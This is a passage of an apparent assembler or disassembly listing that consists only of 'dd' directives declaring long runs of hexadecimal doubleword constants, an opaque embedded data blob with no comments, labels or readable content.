dd 1184448Bh, 0F7B6A0E2h, 0B9E6455h, 107DC33h, 441C4344h
dd 0EA4E7745h, 0FD20DC22h, 25644C74h, 49010C99h, 7A1B16E4h
dd 94281389h, 2A142908h, 0F185CC72h, 7503465Bh, 0F8A203F6h
dd 8C13108Ah, 670A4C2Dh, 923AEEA1h, 0BE1075C6h, 1406B918h
dd 51C8434h, 20544547h, 488C4E2Fh, 6501EFEh, 2C302E31h
dd 6A986FF4h, 226979DDh, 55E4F421h, 70872987h, 292E8919h
dd 484A1364h, 6C2626FAh, 0EE7E3DB3h, 9A667269h, 0A42C8777h
dd 0EB64D157h, 0E7BF6EC3h, 513C7B61h, 1A5C5BE1h, 2D576261h
dd 43EBFAD1h, 53F328C4h, 0C26463B2h, 71E1664Ch, 49597957h
dd 0E868A57Eh, 0CCBE8532h, 9C2CC9F4h, 0CC19D0E2h, 0B45194Ch
dd 0B59600Eh, 8919CD41h, 0E31B5E19h, 92F6470h, 3936443Ah
dd 27667407h, 242FC670h, 61A12290h, 75236079h, 32317362h
dd 6E170831h, 8303806h, 0DA4687Ch, 439A6485h, 9B9C6560h
dd 10C56C73h, 0F49174D1h, 77300CA9h, 59EB1CB8h, 0BE4DA99h
dd 0EC42BC8Bh, 1111A439h, 4544B270h, 1A91ED80h, 0E4254770h
dd 31362416h, 55511303h, 3A350A49h, 0B4AB29C0h, 0A0142963h
dd 54A7A442h, 623EAAA0h, 1E835275h, 0BEFC6F4Dh, 9A0FD96Ch
dd 0B0444E70h, 0E8637C95h, 0D1687873h, 74481960h, 0B13D4E14h
dd 41183A48h, 38300E58h, 421290EBh, 421443A2h, 49538444h
dd 23144472h, 53905042h, 51449A2h, 47414C46h, 2E0C4953h
dd 28894C08h, 1854ED1Fh, 22A47EC9h, 0DD02B41Ah, 75890224h
dd 4F52BC99h, 58450EDAh, 54506043h, 6E4E4F49h, 29FC8E5Fh
dd 0FB9CCE10h, 56FECFF4h, 0CF451E7Dh, 5ACE5942h, 0A4F52C7h
dd 0D9537920h, 0DB4BED41h, 326F56CBh, 1C57EA74h, 0F70896D3h
dd 0A01606B7h, 4C424155h, 0D01980D1h, 5242E124h, 0F74B0B20h
dd 3CCF46E7h, 1438AC9Bh, 0F2DFF753h, 348FD828h, 9C4CB13Fh
dd 0ACD64147h, 2952FC9Ch, 211F4355h, 94FD6F20h, 0F5708F48h
dd 0E9720F74h, 4547ABCFh, 1292F706h, 538E4F63h, 453CC1D2h
dd 93F53878h, 586E440Eh, 0B0642E3Fh, 0D450E065h, 4D7CAE32h
dd 3E6DAD43h, 44185770h, 7004CC63h, 0CA1847F7h, 12669A24h
dd 0B1D4CC4Bh, 436FE9BCh, 7848671Ch, 0D56D3A9Fh, 1B19A30Fh
dd 32737781h, 0AECE335Fh, 4E570633h, 235BB9FBh, 8ACEA483h
dd 76185732h, 0D0774146h, 2AF42D92h, 6D526514h, 61509AC4h
dd 52FD9C1Bh, 0B3BB45EAh, 2A753248h, 80984E19h, 7D63531Ch
dd 6939968h, 4F626F4Ah, 230BED1h, 75426970h, 550C5866h
dd 92C2D046h, 85FB5114h, 30444F54h, 61685310h, 85453AC9h
dd 10316D28h, 5EA27355h, 510C840Fh, 181DB744h, 19AA581Dh
dd 1D49496Ah, 61355895h, 0B40629D0h, 32C72E02h, 0A9CE61F7h
dd 15642C7Ah, 5316CA63h, 2941C7CCh, 0DE52940Dh, 0FFF7CC70h
dd 0B26B5124h, 38296C45h, 55C86C31h, 90CC9053h, 4E09817Eh
dd 0FA558DDh, 6CDC40B4h, 894ECB6Ch, 0CBF94264h, 767C2567h
dd 0AC9EE4AFh, 0D5B4497Ch, 0B3214957h, 80338B31h, 0EFB9A9h
dd 0D184E3D5h, 91E4DC99h, 60B4F0EEh, 401D5CC7h, 4363C0D2h
dd 3119C324h, 8282E30h, 36F09B39h, 208B3879h, 88B3718h
dd 936898BFh, 7003D63Fh, 31533A71h, 27F49F10h, 9828106Dh
dd 8A608D0h, 0E8474C2Eh, 0BA269C2Ch, 0AB18729Ah, 904D324Ah
dd 946D7250h, 0B2C4D06h, 0A462518h, 0CCA4E601h, 509D9152h
dd 20D0F73Ch, 0E814299Eh, 0AACC240Fh, 0F659AE93h, 0A2D99879h
dd 3940D3F4h, 2ED40BDAh, 5112EB2h, 0BDE06873h, 0B4DCFE3Ch
dd 6560F726h, 0B0A23A06h, 0C8911042h, 5832300Ah, 9906DD0h
dd 48298908h, 0CC3084Bh, 4D4C1031h, 55474318h, 0D80A5221h
dd 0B019C33Dh, 84CA009h, 126C8990h, 483C245Ch, 4F14E428h
dd 0EC3230FCh, 0C424D809h, 9091A448h, 64537422h, 44542208h
dd 0F888182Ch, 108D13Bh, 0FBA79380h, 9500BA89h, 0EACD91D1h
dd 0FF0E8B6h, 0BB8CDBC5h, 0ADBEB8A0h, 980AD296h, 208DAFCBh
dd 0E0ABB780h, 289B98Bh, 0AF9792CCh, 34B0E387h, 0E87FBE9Fh
dd 0DF85BC00h, 91A5D083h, 0C1C83BA6h, 0EEAC870Fh, 0E0A19A87h
dd 0EAC096C9h, 0F63BE3F4h, 0BB8114D6h, 0A2BFC028h, 15FB88FFh
dd 3892C683h, 0F7BEAD80h, 95059C94h, 0B2DCD9C8h, 8D3037F3h
dd 0CC83B921h, 0BFEAD700h, 0D3FDD59Dh, 0B38702DDh, 0A58BD9EEh
dd 0B9412C96h, 5789CD2h, 9FF6A789h, 0D7AA00BAh, 0F18BAFF7h
dd 0C2D2EB1Ch, 0EAA79840h, 0F287A29Eh, 5320AC9Bh, 344610B8h
dd 96B89AC0h, 0DE0AB69Eh, 14F291AFh, 9030A9C4h, 0AF56C192h
dd 0B2FC8158h, 0CC01EA8Fh, 0BB285890h, 97051390h, 85DB94BAh
dd 79855039h, 8481BAB2h, 983A10h, 0E998A5F5h, 0FE880EAh
dd 0F1A2AE92h, 0C4D7B42Eh, 0B2203094h, 9402FFA1h, 8FDBC8BBh
dd 9D1099DCh, 0BB9E4087h, 0DCA43092h, 309089B8h, 97FB8001h
dd 96F1BAB0h, 2EEC6D0h, 9AA9D685h, 2499F7F5h, 26EAC5BDh
dd 0BD97C03Ch, 0A5A688F9h, 0A1928044h, 0C6B99AFBh, 0DA00ED77h
dd 0F0EF8DBFh, 3BA389D9h, 9401BAABh, 8ECA8FA7h, 0F49AC499h
dd 2BC9F23Ch, 0B2023887h, 349AEBBDh, 760D3A5Bh, 65D0115Ch
dd 6C702578h, 9853C60Eh, 66F853D9h, 0E077742Eh, 8E4D5C8Bh
dd 731BDF88h, 6257D21Dh, 0F70878E1h, 6B7543E0h, 29063072h
dd 65F95856h, 0FE52FD71h, 405C75C4h, 0DE683EAAh, 0AB6C391Ch
dd 9D133A16h, 39075B13h, 622D6761h, 201B1CB0h, 3A32412Fh
dd 0CA460A48h, 10101A34h, 0B466690Bh, 4D1C2685h, 6C67E51Ah
dd 39AF7E44h, 0B8C526A0h, 0DB84622Eh, 8170AC24h, 0E34C4420h
dd 0ECA49DD3h, 0ED6C9E72h, 69860283h, 9EB6935Ah, 53C4B2A5h
dd 853C2F09h, 1ECECFD0h, 65E56B63h, 0C9EF2C15h, 8F708492h
dd 63456A7Dh, 5E4016AEh, 3FED378Ah, 21530ACEh, 0BF6DB6F6h
dd 2ECAF058h, 0B300CE03h, 0B6D5F6BDh, 4CD38926h, 805C89CBh
dd 0D885CC38h, 0E99C38E4h, 90CB8E8Eh, 1424D011h, 800C83B1h
dd 96EDAFBAh, 0DB883FFBh
dd 0B9071C56h, 4F9CF7A1h, 8A9690C4h, 7CB026D0h, 95B89E00h
dd 5DAD9D0h, 0E5A892A5h, 0F01421D5h, 0BCE06040h, 91A009C8h
dd 2C44225Ch, 70F43FECh, 0EF2CA1BAh, 0DF00D495h, 9EAD9793h
dd 0D3E102EBh, 0A6BF9B87h, 85FB6CC0h, 969AD115h, 89863810h
dd 80F6B9B1h, 0D8DA87F8h, 98A307CAh, 0F1C4E1E8h, 30BEB192h
dd 0C90EA56Ch, 0A0D196C7h, 0C5E6D990h, 0A98700C3h, 0B19EF4ABh
dd 8373E1D4h, 0B7D2FB02h, 16D1C5AAh, 0B6BDAB00h, 0DB8BB49Ch
dd 0E4880084h, 0C7E9EF86h, 0B12B8187h, 964170A3h, 4F70D0F9h
dd 0D1863FC6h, 0CAACA800h, 0DA89D4E1h, 0CBFA8100h, 9194A9E3h
dd 0E77684h, 0DEE498A0h, 0FBD8C293h, 0D8B78BA1h, 0EB38DA9Ch
dd 0D4D4A8FDh, 0C084DF0Fh, 0E1A881A4h, 0B45ECCD8h, 8EEA725h
dd 0A498B639h, 0EC50248Bh, 8EFA5C9Ah, 0B0DBD814h, 0D5E7A90Eh
dd 0A0BB90C0h, 921ED4ECh, 803DD189h, 0EBE9ABAFh, 583CBCCh
dd 88F687ACh, 0C018D4A1h, 0FCE3D170h, 2434C552h, 970048AAh
dd 0D9CC87B7h, 0E1D4A0DEh, 0ACC553E8h, 87535584h, 8643928h
dd 96692025h, 1630F966h, 3A533B4Fh, 8BA4914Ch, 480F5A5Dh
dd 0F76CA2Ch, 63686A4h, 621CC824h, 616816CDh, 55504309h
dd 58F14E52h, 48304D13h, 61522A7Ah, 1238826Dh, 0BA52F42h
dd 4D962016h, 50490542h, 0E23A3676h, 558ADEA2h, 6D0A8370h
dd 99533465h, 544B7961h, 9F4C864Ch, 0E0D20F42h, 49827509h
dd 0F73D206Ch, 4FA16EC8h, 10B128E9h, 5A716A5Ah, 0CE149608h
dd 532688B6h, 808C9397h, 31524148h, 45085744h, 5399DB5Ch
dd 6C49ED43h, 1D249F47h, 25150BCBh, 7E847212h, 695C3772h
dd 0E53C4EE9h, 71C5937h, 33ADCF32h, 5058C0A7h, 0E80C47E1h
dd 3454D42h, 49323839h, 5351154h, 5397836Eh, 3F6D3F70h
dd 6C49A709h, 3C61292Eh, 0A4773238h, 0A5814F6Bh, 0C8879C46h
dd 0F0D84E15h, 0A7707954h, 5047A910h, 0BCCB6946h, 1C309A77h
dd 0BE4C6816h, 79630ACAh, 0EA2C5113h, 9C838D78h, 51519869h
dd 0AC2BE44Dh, 52B1D84Eh, 7E939343h, 0C249AC9Ch, 410801CCh
dd 3F206176h, 54657067h, 0FA4CF142h, 0A13CE14Eh, 77B524Eh
dd 296B6E80h, 4A48F50h, 418514ADh, 48D15C3Ah, 0F2746F54h
dd 2C53BC20h, 7E533E72h, 21B37529h, 70730E18h, 178D10B2h
dd 68518AA4h, 0C452DD71h, 104FE1F6h, 20902E47h, 8084AE7Eh
dd 3E646DA1h, 76707369h, 1B2D4A63h, 0E2AD3053h, 68924A11h
dd 28345178h, 8014840Ch, 0A16C62CBh, 98494439h, 0AC70B65Fh
dd 0B4CE8D18h, 620A6302h, 305667CAh, 50256DF3h, 47C4A764h
dd 96611A94h, 20319508h, 557DFD6Ah, 95CB974Eh, 2952A428h
dd 0C7A32AE0h, 0A238B89Ch, 0C8CB5C78h, 3BE04861h, 2ECE324Ah
dd 0E6E9187Eh, 307356D7h, 65CFDB93h, 9642F24h, 0F7AD4764h
dd 5E5CCE4Eh, 0C3A0DA12h, 30BCBC76h, 4D434920h, 8785504Fh
dd 9A0A1A84h, 706F640Ah, 736D8ADDh, 25C55A05h, 0D02BDDB9h
dd 5202E62Ch, 0F2D2042Ah, 1E3A2B41h, 0CCF25423h, 135A8588h
dd 9304F629h, 94E49B1Eh, 904C04ACh, 12635C49h, 47D8433Fh
dd 0AE48537Bh, 493A1045h, 0CBC34558h, 5F203C43h, 49B5EE25h
dd 4EDA21A2h, 227D172Eh, 0AE627318h, 0F89A5C4Eh, 0EBCA6790h
dd 74350D3Ch, 3E183A19h, 17FB5BF5h, 0D6637014h, 62F718B1h
dd 0A16681Dh, 67C6052Fh, 2A5D1623h, 96CC0288h, 34026CE2h
dd 7468334Eh, 9570ED51h, 2369F79h, 2D7E03A2h, 6555747Ah
dd 33277971h, 0A63D4754h, 0A6A90E40h, 0C86092F7h, 0A4D085DFh
dd 0E1E8D109h, 90E846D4h, 27D69049h, 50BB6665h, 67C093E4h
dd 0CD66854Bh, 79879F41h, 2D72EF6Bh, 3D09667Ah, 0C933D833h
dd 0DA08635Bh, 32D18B32h, 0E6E54A06h, 54A2BB14h, 34874AB2h
dd 2A9C6ADAh, 2CCCEA2h, 1440B269h, 0D002ABF0h, 0CD6B30C1h
dd 0A2087804h, 1008904Bh, 14365753h, 3532390Eh, 0B0F18150h
dd 440A548Dh, 8738BC01h, 0F03D4718h, 881401A9h, 905028F1h
dd 860A48Eh, 27FC4CF0h, 0E1614052h, 290BAC20h, 2E200CD0h
dd 6A757931h, 3570D938h, 0AC6EABB3h, 2B73F298h, 194B552h
dd 76706903h, 0D665E234h, 54074E6Bh, 0E9109A68h, 694790FBh
dd 2E0ACF58h, 5CE4C903h, 0D0215894h, 4D8ED682h, 2893343Ah
dd 15C9F824h, 0A7542329h, 534E1860h, 0CC683A5Ah, 8CD2990h
dd 505D73A8h, 712968Fh, 8E2D5D85h, 42908162h, 29342DE4h
dd 0E4234279h, 1DF2246Dh, 8F8C3C94h, 0F4C9D02Dh, 68757405h
dd 0AC15D0DCh, 850C054Fh, 82023A8h, 0AEA6C5A0h, 67302920h
dd 0F1A90238h, 4B3421ABh, 2BB9C743h, 20A9E863h, 7E932969h
dd 73A478F2h, 9A56E2E7h, 0A9890A2h, 0E5BB6348h, 0D4502A02h
dd 0F03CB813h, 11E32BEAh, 6020940Ch, 76997085h, 81211813h
dd 4F4D6012h, 5B944544h, 1CC77089h, 0F9290A4Ch, 0D18C7FE2h
dd 12E72944h, 0EEC56D20h, 15B3DA24h, 846195Eh, 0DFF8516Eh
dd 0F1285D8Fh, 48C3619h, 2FE1870h, 14A42E2Ch, 0A483B815h
dd 4150C128h, 74415452h, 884E7AF0h, 16622B70h, 0E14A930Bh
dd 0F241AE45h, 9839DA65h, 0A2A44878h, 44305EC1h, 0A52FC130h
dd 96760A6Ch, 4ED871E4h, 177A0598h, 0D0686C6Eh, 0C1E024F0h
dd 3379580Dh, 1C7D3A29h, 606B70C1h, 21A0505Ch, 0CA690DD1h
dd 122274CAh, 0D0F96872h, 0DA607E14h, 0C062E23Ch, 48366523h
dd 2B959A34h, 0C2AC9B76h, 909CCCB0h, 8E74492Fh, 0AB1637E2h
dd 75BD8854h, 3C854F90h, 0D16E21BAh, 13848ECh, 2444A614h
dd 6F56E070h, 0AD1E7054h, 0B5118301h, 68841BB4h, 851570A6h
dd 2314269Ch, 9669A20Ch, 957015E8h, 11D21876h, 38A37CE5h
dd 111060CCh, 0F08285EFh, 470F3567h, 0C341524h, 835274C1h
dd 157B4E5Fh, 0A0107B94h, 0E19C263Dh, 0E0F1041Ah, 0F0681839h
dd 81AC4B53h, 1DA334F1h, 300A1C4Eh, 0E168B987h, 4A07DB90h
dd 0E641034h, 492D10B1h, 25986108h, 0D6B321A7h, 9825170h
dd 216B5DC1h, 7F61E957h, 8C6C2B23h, 661F64E2h, 7866A575h
dd 25617041h, 52796CD0h, 0B8A5382Eh, 8F2AD1B4h, 0C60B761h
dd 124F5242h, 664E454Bh, 3378201Ch, 8A0C1CD0h, 8BE084BFh
dd 0DEC087h, 0BEFCC6A0h, 0A68AEFE1h, 938EAA03h, 88EBFEB9h
dd 2DC88DBh, 0EF99D990h, 0A894A88Ch, 1AC16012h, 840AF88Bh
dd 0D0E8EBF6h, 0E6294F71h, 9CC0102Eh, 0EBDDC8Dh, 0BCF4AE92h
dd 0D4A09A4Eh, 0BAFEF6D0h, 0ABFC8700h, 86D1E3CFh, 920ACCEh
dd 92FFA79Ah, 0CBEC2850h, 0F39BA502h, 0E5E0D4E7h, 818D8059h
dd 0A782AFDEh, 51B2EC25h, 0C8DF5884h, 0EAFCD00Ch, 0FD1A97h
dd 0DBB0A195h, 90A3CA85h, 0B7CCE848h, 0F1AC30FBh, 983B497Ch
dd 3ED1A1B0h, 668210A7h, 69383231h, 61E02BA9h, 2ED9962h
dd 74707972h, 0ABCB36Dh, 2C2450F2h, 16E2F15Ch, 0A7643D4Dh
dd 691C23E7h, 8E2242D8h, 45A90990h, 0C9C6A508h, 0C7F9BBA2h
dd 0DBF39C24h, 488BCC09h, 43494E05h, 0E031C84Bh, 0CC0B362Ch
dd 56769270h, 9293B897h, 5842120h, 50202040h, 56490652h
dd 6D47534Dh, 6BB93AF6h, 3C093B98h, 93E813Dh, 7F211991h
dd 0E52C2489h, 85213637h, 418FF666h, 85F9DA0Ch, 6C1855B8h
dd 8427DE85h, 0E0FD7387h, 0C975139Fh, 3325C069h, 1AC9325Dh
dd 90A3631h, 3A77AE0Ah, 9245FC08h, 0F4BCA945h, 3AF50BAAh
dd 3667E46Ch, 0BF083702h, 908865Fh, 47504CAh, 86250CA1h
dd 973947A1h, 43421A24h
dd 5A4B4E55h, 0CD598508h, 0ECC0E30h, 34534150h, 4F4E094Fh
dd 451A0554h, 0F12B185Ch, 41501B4Bh, 0DAF6A309h, 481C9C26h
dd 9465A2Ch, 2C223087h, 1820FD9Ch, 632C2A57h, 285B5D10h
dd 0A6DA3308h, 401C8180h, 0E7C0F917h, 31533534h, 4F481D98h
dd 53EC1265h, 2B893D68h, 0B80E6978h, 5310312Ah, 0DE416D9Ah
dd 0D3F42875h, 0E3520C88h, 6CB29DEBh, 0DEA0A271h, 49530F8Ch
dd 310CD4F2h, 0C5676590h, 0FCB06564h, 2E2D3176h, 14BD6236h
dd 6BF99E20h, 0EF784A6Ah, 4428ABCBh, 352951EDh, 3D50B903h
dd 85347B2h, 351B8A70h, 0AF0C2DC5h, 85FFEB51h, 0F2F13057h
dd 0A843FC0Eh, 4C6F0C53h, 0D09008B5h, 2A924E90h, 42985454h
dd 46624360h, 5A494847h, 625C54Ah, 0C2515025h, 56555401h
dd 5A595857h, 67CBBE6Ch, 6B6A6481h, 9F4446Ch, 2C8871C7h
dd 777601F9h, 207A7978h, 3348320Fh, 38F45030h, 2F2B3917h
dd 0D4D34CF2h, 2D096201h, 5241E156h, 74E17761h, 0E5009D2Bh
dd 493F226Fh, 0CA70273Dh, 0DE34C690h, 0AFE2ED0Eh, 5C2C1A55h
dd 41208932h, 0F34E7D54h, 1F7F06F1h, 0DF442510h, 0EB501C81h
dd 0ADC22A4Ah, 19056464h, 601FBFFh, 18FDD803h, 54631F81h
dd 0C31A604Bh, 5C0728F5h, 400DC28Fh, 7056010Ah, 77448C01h
dd 7509C876h, 0F326C687h, 0F29267F1h, 198772F9h, 0C0F9D463h
dd 750362C3h, 8517331h, 71DD64B8h, 7BFB0F0Ah, 0D50780ABh
dd 3ED773Ah, 5C7C941Eh, 89C0DB56h, 0B8F8FD1Fh, 96E21621h
dd 33CA45EBh, 3489BC2Eh, 5C0F0430h, 52BFBC31h, 7209DC04h
dd 0B777478h, 1542705Fh, 6518DF54h, 0D42F3241h, 20321F07h
dd 3AD3A3Ah, 61240968h, 28A9682Ah, 4DE5F268h, 10318A10h
dd 7FD827h, 0FFCA8166h, 5200420Fh, 0CD58026Ah, 53C2Eh
dd 0B8EF745Ah, 4A9D5E21h, 0AFFA8B06h, 3906EA75h, 2451FFE7h
dd 4151204h, 7C36E808h, 0F7828528h, 0B27C2FA0h, 0A089204h
dd 0FC480804h, 56708ABh, 10030B01h, 948A999h, 16D0117Fh
dd 4E9C04A1h, 5CA00599h, 7A4C0A5h, 4004642h, 0EB8A885Dh
dd 110EC91Ch, 208E89Fh, 7948102Bh, 583A4CC1h, 42E098B0h
dd 0C3C08AAh, 180048Ch, 0FD28E0CCh, 0C82047Fh, 8086ADD0h
dd 0E581E876h, 7886FA09h, 6483104h, 2432B020h, 0CCFD0058h
dd 0B0496445h, 0AE00DD70h, 0D2962C74h, 0AE0D5E60h, 1970641Ch
dd 167C4F02h, 4C003C8Dh, 0E2F19680h, 0CE4D072Ah, 6AA611h
dd 726EAF20h, 290CF437h, 425241F1h, 1C0D3458h, 22BAADF0h
dd 0BF4A81Ch, 20036008h, 454D0904h, 0DD49574Fh, 12F05FA2h
dd 2E0338h, 28293032h, 10011898h, 0CC670490h, 440AC803h
dd 0D8141848h, 8998D068h, 87F81707h, 3CD28C4h, 8702964h
dd 0B95620A6h, 10ABCA74h, 231FA5D9h, 7CA4E4A6h, 0AA918FADh
dd 60740EF4h, 4A582210h, 0D2446590h, 8CD67891h, 0D83C01C5h
dd 0B64F8850h, 0FF20881Bh, 0F42E8403h, 46486062h, 0EE664804h
dd 0A4020915h, 28C510B2h, 0C1978E1h, 1C22B44Dh, 98D87081h
dd 0D24FC893h, 3DA91103h, 2CB257BEh, 23A63221h, 3D809258h
dd 0E010EE8h, 10144318h, 6A04608Ah, 1FC051F8h, 6ED23B21h
dd 0C5810014h, 0E800317h, 99714AE9h, 508AF101h, 2857A6Fh
dd 0E890E45Ah, 604630F2h, 0D8186E54h, 0E82CDA5Eh, 0C2F2B20h
dd 803940Ch, 6D2CD5B4h, 8099DE28h, 0B248262Eh, 90E2768h
dd 8B07A40Fh, 7C02040Bh, 9708A520h, 13DAA55Ch, 24834308h
dd 36310D24h, 341CCCACh, 361A351Ch, 0B3023718h, 6F8364F8h
dd 78B66382h, 0D9C01AB7h, 2A888A09h, 0F80215CCh, 188C28C6h
dd 0C00067F1h, 2180310h, 2E1663C6h, 810139Dh, 98221C55h
dd 5C0A0D05h, 0D7562F5Fh, 3EC28869h, 4AB80680h, 1C4D9F00h
dd 8611CF7Dh, 0BD4B11Eh, 88BD577Ch, 1752542Ch, 1383201h
dd 7D580CB8h, 40007571h, 0BC47C6EBh, 0AA74E71h, 97B5D01Ch
dd 9497432h, 4034B599h, 0A442E0CFh, 91C6882h, 38915A96h
dd 84B29CDh, 24448B00h, 0FAE005FCh, 8FEB4AB2h, 7F304518h
dd 700BFB95h, 2810EB39h, 4F02D19h, 103666B3h, 35108704h
dd 0B098BCE4h, 25F33723h, 3C01EB77h, 0C118759Fh, 0B402459h
dd 50CC1BE2h, 0A8F45906h, 9FF851Fh, 72424D53h, 0C8CAE99Bh
dd 0FF2AC8BCh, 625007FEh, 430050B7h, 54454E20h, 5B524F57h
dd 9D941D4Bh, 4D41CF47h, 6C13109h, 641E6B02h, 0B5606B4h
dd 0D74EC6E7h, 6B08CC25h, 75FC6777h, 331E7060h, 0CC61312Eh
dd 32484D51h, 5D84584Eh, 2EDD3367h, 549B16BCh, 309B3220h
dd 71A6167Eh, 218CA452h, 0BD079073h, 840CA242h, 0C581A4DCh
dd 0A7360A11h, 807CB0D3h, 9AD96970h, 50C55398h, 97043B23h
dd 8AE00882h, 119D296h, 92336E4Ah, 73367738h, 3055EA77h
dd 6E6EA02h, 35563970h, 703CF624h, 4F4EF92Eh, 0D8ACDA2Bh
dd 43842008h, 5957C8DAh, 32E0B9Fh, 3246E51Fh, 8994724h
dd 6380F40h, 0FD838672h, 15204195h, 30E0888Ah, 44E04FF3h
dd 198180h, 0E4F27A6Ah, 0AF281C49h, 74253002h, 97536710h
dd 485CD9E2h, 6D8D75E0h, 256B2154h, 985E367h, 0E4B231BEh
dd 89326206h, 180A10D6h, 54BE0838h, 39CE3078h, 9B500B49h
dd 3F02213Eh, 64284738h, 0A0A24364h, 8204DC08h, 0C818F706h
dd 0A6BADE71h, 9F7AB897h, 0C5AABB01h, 402C9C03h, 38A5CB3h
dd 6C458C11h, 7512DA52h, 970D40Eh, 0C8A75963h, 0AD25116Ch
dd 0EE10A002h, 1C4EFB4Bh, 4C295437h, 0C9CD26B7h, 0B8944659h
dd 45CBCC50h, 84CDD43Ah, 0B83E0111h, 843404EBh, 19286A00h
dd 0D0B10C39h, 0A89B2C11h, 0D94F02DFh, 84EFF52Eh, 570C024Ch
dd 60E2A4F4h, 850CA010h, 0A40A28CDh, 0F742B13Dh, 0CA06208h
dd 0ECE28831h, 46EC47A4h, 14950908h, 7C501840h, 110C970h
dd 82148CFh, 1489D1FCh, 85780EBFh, 5BAB0113h, 22DE9A6h
dd 1411F889h, 0FFC40E2Fh, 660E22FEh, 0AC339924h, 90847FDh
dd 84D8313h, 86B98F44h, 0DAB705EEh, 64102F25h, 93200Ch
dd 0C80DAD08h, 0F02CC08h, 0B880D849h, 70014018h, 0F842184h
dd 80285273h, 4B3C958Dh, 4202C880h, 6C310F84h, 13032E2h
dd 7091A89Ah, 6F893457h, 508CD714h, 71C09ECh, 45E8E4FFh
dd 121B3C01h, 0FF087515h, 5A06EB42h, 0BA02C026h, 5042B68Ah
dd 32D01E3Ah, 31346212h, 9A937115h, 4541B18h, 4E841CF3h
dd 0E9283382h, 0ECC3080Bh, 1B0A40E7h, 4528EEA5h, 33622324h
dd 43890370h, 45C90817h, 3AF95D74h, 2001110Eh, 120AB8E1h
dd 0BB312946h, 8C5C030Fh, 0A32E34EFh, 655C8952h, 20018850h
dd 0E30EFBDCh, 0C2A84F09h, 27765750h, 0D0483F25h, 32074FC8h
dd 0D316704Bh, 5A7812F0h, 6EBF0447h, 7B0388E1h, 0E1660310h
dd 101E2001h, 1D110390h, 121C313Ch, 682AE004h, 29DD4AA1h
dd 239EA42Bh, 7505C89h, 6559455Eh, 0D81C123Eh, 8A90426h
dd 4221C01Fh, 4A84E82Eh, 0AD637954h, 0D7023208h, 0CBE5ACE5h
dd 5604916Ch, 0C8E1ACCAh, 7CC90101h, 0B048011h, 0AC14289Ah
dd 888F877Ah, 68C70480h, 72B3C088h, 4285A381h, 8B40215h
dd 0A0B695B2h, 0EB080672h, 0AA85560Bh, 461E088Ah, 0C8B3110Ah
dd 41ED70D5h, 86272C00h, 0A059D226h, 0AA5E38B3h, 0C56F8808h
dd 0E25A655Fh, 865AB83Ch, 5B182F56h, 8D661868h, 103C78C4h
dd 0A8106E8Dh, 62708413h, 35BC7257h, 0D08A1465h, 0F13678F2h
dd 0C4239C1Bh, 40C02A40h
dd 3D8D9F4Eh, 11CEA004h, 580698Fh, 2E05303Eh, 0F6D0011Bh
dd 0A48FB5B0h, 3C2360C4h, 91D4F7DCh, 0A42868A0h, 17EA4D51h
dd 3C1143B8h, 41248A08h, 0FBBC0B2Fh, 4D08A079h, 0D9722D52h
dd 0C1536493h, 6609BD59h, 531D4D7Dh, 365A0230h, 0E04B0875h
dd 0C029B5CEh, 190940Ch, 3DBFEBCAh, 7A156785h, 0E4082B76h
dd 1F48572Ch, 0EB88444Fh, 5534CA01h, 3C791CD4h, 84F46101h
dd 44045990h, 0D018B0F5h, 74179BA4h, 9CCC129Fh, 8A47Dh
dd 5B03EB60h, 0F8E8C353h, 310070BEh, 13404C0h, 0F0507FD8h
dd 10021CD2h, 0FD30DC40h, 28412361h, 0DDC6C9C2h, 0C166E0E2h
dd 1EC1EA7Ch, 302F630h, 1C097FFh, 0FA584313h, 1C08F6C9h
dd 3D61D5E0h, 77BD1979h, 9101B3FCh, 280C012h, 0E7655B4Fh
dd 959F0691h, 805C0C2Ch, 0FD09818h, 0A1126BFFh, 330036AFh
dd 7EF8C346h, 145A3428h, 3697039h, 6B775C65h, 63768973h
dd 0BF1674C3h, 93D7D492h, 2E112948h, 6017A70Ch, 802C6FA7h
dd 0AFA8BD80h, 0E0C47D8Ah, 2920F4BEh, 159F0189h, 0CA18C42Ch
dd 0B003983Ch, 97520001h, 11D059CAh, 0A0E0D5A8h, 800DC90Eh
dd 26001151h, 371D55B5h, 4600C5C1h, 8F6379ABh, 70E8682Ah
dd 3E358969h, 794CC099h, 0F505A19Eh, 4284F808h, 14FC21F9h
dd 2F285F27h, 21374205h, 8440103Fh, 42440441h, 2434408h
dd 0AD404545h, 2047C400h, 1023484Ah, 444A8849h, 114D224Bh
dd 844F084Eh, 9F289842h, 5912205h, 22099222h, 95220393h
dd 11962241h, 4A219722h, 14A79899h, 4307666h, 75F42009h
dd 89E0E844h, 24D412D8h, 91C048C8h, 3B0410B8h, 0A811B033h
dd 44A40922h, 8C8994A0h, 78248012h, 64917048h, 5C446022h
dd 12508958h, 48402448h, 22309138h, 20244428h, 144C1889h
dd 120C8910h, 10112E04h, 0F03274F8h, 0E024E809h, 0D091D848h
dd 0CCC85C40h, 0B409C011h, 0A812AC89h, 9448A024h, 84228C91h
dd 8B7C8044h, 917048FCh, 44602268h, 48895058h, 38244012h
dd 0CCA13448h, 20112819h, 22180991h, 3C084510h, 62089020h
dd 473FC09h, 91E448F0h, 44CC22D8h, 9889ACC0h, 80248812h
dd 48915048h, 1804022h, 27F991D0h, 323CB368h, 34093851h
dd 1C482824h, 10221491h, 40FC0444h, 0F489F872h, 0EC24F012h
dd 0E091E848h, 0D044D822h, 12BC89C8h, 48A424B0h, 2290919Ch
dd 58804488h, 0A1784240h, 4C034820h, 64701922h, 54600968h
dd 0E458A368h, 4C33F49Eh, 9EA44421h, 213C33FCh, 2C092234h
dd 891C2444h, 149A1414h, 8211033h, 71FC091Bh, 24DEA4B9h
dd 6371EC13h, 0D8C4E028h, 11CCD82Ch, 89C809D0h, 24B812C0h
dd 91AC48B0h, 45A422A8h, 0EA5422A0h, 98A84C49h, 33E9A8A4h
dd 19808C54h, 0C8ACA478h, 0D4A06809h, 60196893h, 9915819h
dd 91482250h, 113C1978h, 8067F22Ch, 18192419h, 48080991h
dd 70F4848Ch, 0EC09F00Ch, 8A14E489h, 19D0339Ch, 0A4DBA4C4h
dd 0B839C08Ch, 0A4B409C8h, 9DAC51B0h, 0B826A419h, 0B878255Fh
dd 6FB1704Ah, 0ED6C62C0h, 219F6BE5h, 9708B778h, 0EC69A76Fh
dd 0DB8B6819h, 66BBD572h, 71EE1814h, 6F2C42EDh, 2C41294h
dd 50AE6264h, 0A377081Dh, 6108340Ch, 2C49BF34h, 0CDC45670h
dd 42140F49h, 901E4234h, 0F3119B0Ch, 18AF426Dh, 88D110D1h
